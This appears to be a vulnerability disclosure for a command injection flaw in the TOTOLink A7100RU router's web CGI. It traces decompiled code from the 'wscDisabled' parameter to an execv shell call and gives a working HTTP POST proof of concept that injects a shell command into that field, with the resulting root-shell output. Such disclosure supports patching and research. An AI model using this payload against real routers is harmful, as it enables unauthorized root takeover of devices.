

main IOT_vuln / TOTOLink / A7100RU / 6 /

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TOTOLink A7100RU Command injection vulnerability

Overview

- Manufacturer's website information: <http://totolink.net/>
- Firmware download address :
http://totolink.net/home/menu/detail/menu_listtpl/download/id/185/ids/36.html

1. Affected version





A7100RU				
Overview Tech Specs HD Image Download FAQ				
NO	Name	Version	Updated	Download
1	A7100RU_HD PHOTO	Ver1.0	2019-05-07	
2	A7100RU_Datasheet	Ver1.0	2020-08-07	
3	A7100RU_Firmware	V7.4cu.2313_B20191024	2020-08-09	
4	A7100RU_QIG	Ver1.0	2020-08-09	

Figure 1 shows the latest firmware Ba of the router

2.Vulnerability details

```

1 int __fastcall sub_422324(int a1)
2 {
3     int v2; // $s2
4     int v3; // $v0
5     int v4; // $a0
6     int v5; // $v0
7     int v6; // $s2
8
9     v2 = websGetVar(a1, "wifiIdx", "0");
10    v3 = websGetVar(a1, "wscDisabled", "");
11    v4 = v2;
12    v6 = v3;
13    v5 = atoi(v4);
14    if ( v5 )
15    {
16        if ( v5 == 1 )
17            Uci_Set_Str(17, "mt7615e5", "wscDisabled", v6);
18    }
19    else
20    {
21        Uci_Set_Str(17, "mt7615e2", "wscDisabled", v6);
22    }
23    Uci_Commit(17);
24    ((void (__fastcall *) (char *, const char *))loc_43639C)("0", "reserv");
25    return 1;
26 }

```

The program passes the content obtained by the wscdisabled parameter to the V3 parameter, then assigns V3 to V6, and finally brings V6 to UCI_Set_In str function

```

184     else
185         v9 = "Unknown ID";
186     break;
187 }
188 snprintf(v11, 1024, "uci set -c %s %s.%s.%s=\"%s\"", v8, v9, a2, a3, a4);
189 CsteSystem(v11, 0);
190 return 1;
191}

```

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

```

7  {
8      v6[2] = (int)a1;
9      v6[3] = 0;
10     v6[0] = (int)&off_ABA4;
11     v6[1] = (int)&off_ABA8;
12     if ( a2 )
13         printf("[system]: %s\r\n", a1);
14     execv("/bin/sh", v6);
15     exit(127);
16     result = eval();
17 }

```

The function directly brings user input into the execv function, which has a command injection vulnerability

3.Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware V7.4cu.2313_B20191024
2. Attack with the following overflow POC attacks

```


POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 79
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.66 Safari/537.36

```

```
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647872744:2
Connection: close
```

```
{"topicurl":"setting/setWiFiSignalCfg",
"wscDisabled":"1$(ls>/tmp/123;)"}
```

The reproduction results are as follows:



```
RLX Linux version 2.0

Realtek

For further information check:
http://processor.realtek.com/
[# cat /tmp/123
123
bridge_init
dns_urlfilter_conf
firewall_igd
fwinfo
lock
log
port_status
preNtpConnectTime
update_flag
usb
wanlink
wanranchocontime
wscd_status
#
```

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

